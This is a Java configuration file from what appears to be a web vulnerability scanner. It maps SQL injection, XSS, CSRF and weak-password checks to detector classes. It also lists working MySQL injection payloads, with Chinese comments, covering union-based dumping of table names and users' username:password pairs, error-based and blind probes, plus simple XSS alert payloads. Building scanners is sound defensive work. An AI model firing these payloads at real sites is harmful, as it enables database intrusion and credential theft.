package weiyao.Vul;

import weiyao.Detector.CsrfDetector;
import weiyao.Detector.SqlInjectionDetector;
import weiyao.Detector.WeakPasswordDetector;
import weiyao.Detector.XssDetector;

import java.util.EnumMap;
import java.util.Map;
import java.util.Set;
import java.util.regex.Pattern;

public class VulnerabilityConfig {
    public enum VulnerabilityType {
        SQL_INJECTION,
        XSS,
        CSRF,
        WEAK_PASSWORD
    }

    private static final Map<VulnerabilityType, Class<? extends VulnerabilityDetector>> detectorMap =
            new EnumMap<>(VulnerabilityType.class);

    static {
        detectorMap.put(VulnerabilityType.SQL_INJECTION, SqlInjectionDetector.class);
        detectorMap.put(VulnerabilityType.XSS, XssDetector.class);
        detectorMap.put(VulnerabilityType.CSRF, CsrfDetector.class);
        detectorMap.put(VulnerabilityType.WEAK_PASSWORD, WeakPasswordDetector.class);
    }

    public static Class<? extends VulnerabilityDetector> getDetectorClass(VulnerabilityType type) {
        return detectorMap.get(type);
    }

    public static Set<VulnerabilityType> getSupportedTypes() {
        return detectorMap.keySet();
    }

    public static final String[] SQL_PAYLOADS = {
            // ================= 联合查询注入（直接获取数据）=================
            // 获取数据库名和版本（已替换）
            "-1' union select wtq,database(),version()--+",         // 原 select 1,2 → select wtq
            "-1') union select wtq,database(),version()--+",
            "-1\" union select wtq,database(),version()--+",
            "-1\") union select wtq,database(),version()--+",

            // 获取所有表名（已替换）
            "-1' union select wtq,group_concat(table_name) from information_schema.tables where table_schema=database()--+",
            "-1') union select wtq,group_concat(table_name) from information_schema.tables where table_schema=database()--+",

            // 获取users表字段（已替换）
            "-1' union select wtq,group_concat(column_name) from information_schema.columns where table_name='users'--+",
            "-1') union select wtq,group_concat(column_name) from information_schema.columns where table_name='users'--+",

            // 获取账号密码数据（已替换）
            "-1' union select wtq,group_concat(username,0x3a,password) from users--+",
            "-1') union select wtq,group_concat(username,0x3a,password) from users--+",

            // ================= 其他注入类型（保持不变）=================
            // 报错注入、布尔盲注、时间盲注等无需修改
            "1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2)x from information_schema.tables group by x)a)--+",
            "1' and updatexml(1,concat(0x7e,(select database()),1)--+",

            // ================= 布尔盲注（条件判断）=================
            // 判断数据库名长度
            "1' and length(database())=8--+",
            // 逐字符判断数据库名
            "1' and ascii(substr(database(),1,1))>97--+",
            // 判断表数量
            "1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+",

            // ================= 时间盲注（无回显判断）=================
            // 基础延时
            "1' and if(1=1,sleep(3),0)--+",
            // 判断数据库名长度
            "1' and if(length(database())=8,sleep(3),0)--+",
            // 逐字符判断数据库名
            "1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+",
            // 判断数据存在性
            "1' and if(exists(select * from users),sleep(3),0)--+",

            // ================= 通用Payload（模糊测试）=================
            // 永真条件
            "1' or '1'='1'--+",
            "1' or 1=1--+",
            // 注释符测试
            "1'#",
            "1'-- ",
            // 空字节测试
            "1'%00"
    };

    // XSS payloads
    public static final String[] XSS_PAYLOADS = {
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg/onload=alert('XSS')>",
            "\"><script>alert('XSS')</script>"
    };


}